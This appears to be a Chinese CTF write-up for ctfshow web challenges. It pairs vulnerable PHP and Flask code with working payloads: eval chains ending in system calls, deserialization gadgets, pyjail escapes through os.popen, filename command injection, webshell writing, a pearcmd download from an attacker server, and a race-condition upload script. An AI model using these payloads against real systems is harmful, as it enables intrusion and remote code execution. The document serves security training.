CTFSHOW_菜狗杯_WEB
web签到
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]); //数字表示下标
加入cookie中传入CTFshow-QQ群:=a那么就会出现$_POST['a'],假如post传入的值为a=b,那么就会得到$_GET['b'],接着假如get传入b=c就会得到$
c[6][0][7][5][8][0][9][4][4]=system('cat /f*');
payload
cookie:CTFshow-QQ群:=1
post: 1=2
get: 2=3&3[6][0][7][5][8][0][9][4][4]=system('id');
web2 c0me_t0_s1gn
静态flag控制台运行即可
我的眼里只有$
变量赋值解决
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
import string
s = string.ascii_letters
t='_=a&'
code="system('id');"
for i in range(35):
t+=s[i]+"="+s[i+1]+'&'
t+=s[i]+'='+code
print(t)
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('id');
一言既出
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
php弱类型
两种解决方法
通过加进行连接或者直接注释后面内容
114514);//
或者直接加号连接前面减去后面的值
114514%2b1805296 %2b=+
驷马难追
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514 && check($_GET['num'])){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
function check($str){
return !preg_match("/[a-z]|\;|\(|\)/",$str);
}
尝试注释不过已经不生效了
使用加号连接绕过
114514%2b1805296
TapTapTap
前端源码可看flag
Webshell
<?php
error_reporting(0);
class Webshell {
public $cmd = 'echo "Hello World!"';
public function __construct() {
$this->init();
}
public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}
public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}
if(isset($_GET['cmd'])) {
$serializecmd = $_GET['cmd'];
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init();
}
else {
highlight_file(__FILE__);
}
?>
从题目来看是序列化题目只需要构成payload即可
<?php
class Webshell{
public $cmd = 'cat f\l\a\g.php'; //linux特性 用于绕过正则 或者 cat *
}
$obj = new Webshell();
$a = serialize($obj);
echo $a;
化零为整
<?php
highlight_file(__FILE__);
include "flag.php";
$result='';
for ($i=1;$i<=count($_GET);$i++){
if (strlen($_GET[$i])>1){
die("你太长了!!");
}
else{
$result=$result.$_GET[$i];
}
}
if ($result ==="大牛"){
echo $flag;
}
最开始来说是蒙蔽的 不知道传送什么值
结果要等于大牛直接传输中文是不行的需要进行url编码 前面有判断长度字母做为变量或者数字
payload
1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
无一幸免
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die($flag);
}
else{
die("nonono!");
}
}
数组绕过
0[]=1
算力超群
题目源代码
# -*- coding: utf-8 -*-
# @Time : 2022/11/2
# @Author : 探姬
# @Forkfrom:https://github.com/helloflask/calculator
import re
from flask import Flask, jsonify, render_template, request
app = Flask(__name__)
@app.route('/_calculate')
def calculate():
a = request.args.get('number1', '0')
operator = request.args.get('operator', '+')
b = request.args.get('number2', '0')
m = re.match(r'^\-?\d*[.]?\d*$', a)
n = re.match(r'^\-?\d*[.]?\d*$', a)
if m is None or n is None or operator not in '+-*/':
return jsonify(result='Error!')
if operator == '/':
result = eval(a + operator + str(float(b)))
else:
result = eval(a + operator + b)
return jsonify(result=result)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/hint')
def hint():
return render_template('hint.html')
if __name__ == '__main__':
app.run()
抓包改参数直接可调用系统函数达到任意命令执行 不过值得注意的是
使用os.system是不可以成功的 os.popen 成功执行
payload
/_calculate?number1=&operator=&number2=__import__('os').popen('cat+app.py').read()
算力升级
题目源码
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/10/20 15:16
# Author :g4_simon
# version :python 3.9.7
# Description:算力升级--这其实是一个pyjail题目
"""
from flask import *
import os
import re,gmpy2
import json
#初始化全局变量
app = Flask(__name__)
pattern=re.compile(r'\w+')
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/tiesuanzi', methods=['POST'])
def tiesuanzi():
code=request.form.get('code')
for item in pattern.findall(code):#从code里把单词拿出来
if not re.match(r'\d+$',item):#如果不是数字
if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
try:
result=eval(code)
return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})
except:
return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})
@app.route('/source', methods=['GET'])
def source():
return render_template('source.html')
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=False)
这个没有做出来,自己拼接的payload不能使用
官方payload
s="__import__('os').popen('cat /flag').read()"
import gmpy2
payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("
for i in s:
if i not in "/'(). ":
temp_index=0
temp_string='x'*20
for j in dir(gmpy2):
if j.find(i)>=0:
if len(j)<len(temp_string):
temp_string=j
temp_index=j.find(i)
payload+=f'\'{temp_string}\'[{temp_index}]+'
else:
payload+=f'\"{i}\"+'
payload=payload[:-1]+')'
print(payload)
easyPytHon_P
也是python题目
subprocess.run([cmd[:3], param, file], cwd=os.getcwd(), timeout=5)
关键函数主要为这个命令执行 首先长度限制在三位 提供两个参数满足即可 值得注意的是接收参数是get 实际上是需要传输post
payload
答案不唯一 这个也可以反弹shell
cmd=sed¶m=1e id
cmd=cat¶m=flag.txt
遍地飘零
题目代码
<?php
include "flag.php";
highlight_file(__FILE__);
$zeros="000000000000000000000000000000";
foreach($_GET as $key => $value){
$$key=$$value;
}
if ($flag=="000000000000000000000000000000"){
echo "好多零";
}else{
echo "没有零,仔细看看输入有什么问题吧";
var_dump($_GET);
}
接收任何参数
变量覆盖
_GET=flag
茶歇区
整数溢出
a=152000&b=0&c=0&d=0&e=922337203685477580
小舔田?
题目代码
<?php
include "flag.php";
highlight_file(__FILE__);
class Moon{
public $name="月亮";
public function __toString(){
return $this->name;
}
public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}
class Ion_Fan_Princess{
public $nickname="牛夫人";
public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}else{
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
}
}
public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
}
}
if (isset($_GET['code'])){
unserialize($_GET['code']);
}else{
$a=new Ion_Fan_Princess();
echo $a;
}
入门序列化直接上payload即可
<?php
class Moon{
public $name;
}
class Ion_Fan_Princess{
public $nickname='小甜甜';
}
$a = new Moon();
$b= new Ion_Fan_Princess();
$a->name=$b;
echo (urlencode(serialize($a)));
LSB探姬
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/10/20 15:16
# Author :g4_simon
# version :python 3.9.7
# Description:TSTEG-WEB
# flag is in /app/flag.py
"""
from flask import *
import os
#初始化全局变量
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return render_template('upload.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
try:
f = request.files['file']
f.save('upload/'+f.filename)
cmd="python3 tsteg.py upload/"+f.filename
result=os.popen(cmd).read()
data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
return jsonify(data)
except:
data={"code":1,"message":"file upload error!"}
return jsonify(data)
else:
return render_template('upload.html')
@app.route('/source', methods=['GET'])
def show_source():
return render_template('source.html')
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=False)
暂时不理解直接贴payload了
import requests
url = "http://405e8cd7-d78f-4300-9b9d-49609c5af778.challenge.ctf.show/"
data = {
"file":("123;echo 'Y2F0IGYqICA+IHN0YXRpYy9qcy9hbnNpX3VwLmpz'|base64 -d|sh","123","image/png")
}#static/js/ansi_up.js
send_data = requests.post(url=url+'upload',data=data)
print(send_data.url)
Is_Not_Obfuscate
题目代码
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
@mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
echo 'Anything is good?Please test it.';
@eval(decode($_GET['input']));
}
ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
switch ($_GET['action']){
case 'pull':
$output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
echo "pull success";
break;
case 'push':
$input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
echo "push success";
break;
default:
die('hacker!');
}
}
最重要的是case语句理解清楚既可以得出答案了
新春欢乐赛
web1
题目代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-01-16 15:42:02
# @Last Modified by: h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);
主要目标是绕过 exit函数
rot13编码绕过
filename=php://filter/convert.string.rot13/resource=shell.php
content=<?cuc cucvasb();?>
开启短标签无法使用
过滤器嵌套绕过
filename=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php
content=?>PD9waHAgcGhwaW5mbygpOz8+
有了具体绕过方法接下来构造payload即可使用在线网站进行rot13编码
content=php://filter/string.rot13|<?cuc flfgrz("png /s*");?>|/resource=shell.php
web2
<?php
highlight_file(__FILE__);
session_start();
error_reporting(0);
include "flag.php";
if(count($_POST)===1){
extract($_POST);
if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){
echo $flag;
}
}
?>
payload:
post:
session_id=session_id
cookie:
HappyNewYear
web3
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-01-16 15:42:02
# @Last Modified by: h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
include "flag.php";
$key= call_user_func(($_GET[1]));
if($key=="HappyNewYear"){
echo $flag;
}
die("虎年大吉,新春快乐!");
字符串弱类型比较
1=session_start
1=json_last_error
web4
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-01-16 15:42:02
# @Last Modified by: h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
$key= call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");
die("虎年大吉,新春快乐!");
?>
需要写入一句话木马,那么$key 变量应该写入php后缀文件
payload:
1= spl_autoload_extensions
注册并返回 spl_autoload 函数使用的默认文件扩展名
用法:spl_autoload_extensions(string $file_extensions = ?): string
当不使用任何参数调用此函数时,它返回当前的文件扩展名的列表,不同的扩展名用逗号分隔。要修改文件扩展名列表,用一个逗号分隔的新的扩展名列表字符串来调用本函数即可。中文注:默认的 spl_autoload 函数使用的扩展名是 “.inc,.php”。
萌新
web22
打开题目即可看见源码
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\:|\/|\\\/i",$c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
?>
对比以前访问日志文件方法已经不可用
pear是一个是可重用的PHP组件框架和系统分发
– 为PHP用户提供开源的结构化代码库
– 便于代码的分发和包的维护
– 标准化PHP的编写代码
– 提供PHP的扩展社区库(PECL)
– 通过网站、邮件列表和下载镜像支持PHP/PEAR社区
在pear中有一个pearcmd.php的类,这里传参c值为pearcmd拼接后面的.php后缀,然后进行下一步的操作。下载文件从指定服务器
首先构造payload为:?c=pearcmd&+download+http://xxxxx/1emon/index.php
。
而对于,index.php
内容是
<?php
echo "<?php system(whoami);?>";
?>
放到vps上面供靶机下载然后该恶意代码就会在服务器进行执行 这里使用的是内网穿透
成功执行任意命令
web23
打开页面显示可以文件上传
初次传输php一句话木马居然回显路径,这么简单嘛,当访问时候显示404很明显被删除了嘛
看到这里大概知道考点了,应该是条件竞争
但是文件名是时间戳格式这就有一点点复杂了
uploads/20230103231323880.png
这里引用官方payload
import requests,time,threading
subaddr = "http://946af799-e91d-4ebc-910e-52c5df936eb9.challenge.ctf.show/"
def newThread(fun,*args):
return threading.Thread(target=fun, args=args)
def execphp(fname):
r = requests.get(subaddr + "uploads/" + fname + ".php")
x = r.text
if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
print(x)
def check(fname):
for i in range(100,300):
# 每个文件名单起一个线程
newThread(execphp, fname + str(i)).start()
def upload():
while True:
file_data = {'file':('anything.php',"<?php system(\"tac ../flaghere0.txt\");?>".encode())}
r = requests.post(subaddr+"upload.php",files=file_data)
txt = r.text
print("uploaded:",txt)
# 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔
ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 1))
# 单起一个线程,爆破下一次upload的文件名
newThread(check, fname).start()
if __name__ == '__main__':
upload()
web24
同上更改时间间隔即可
获得百分之百的快乐
题目代码
<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){
echo shell_exec($_GET[1]);
}
else{
echo "hack!!!";
}
?>
绕过长度限制
linux 中的>符号和>>符号
(1)通过>来创建文件
利用方法
?c=>nl
?c=ls
?c=*
欢迎交流:wodi98k666@gmail.com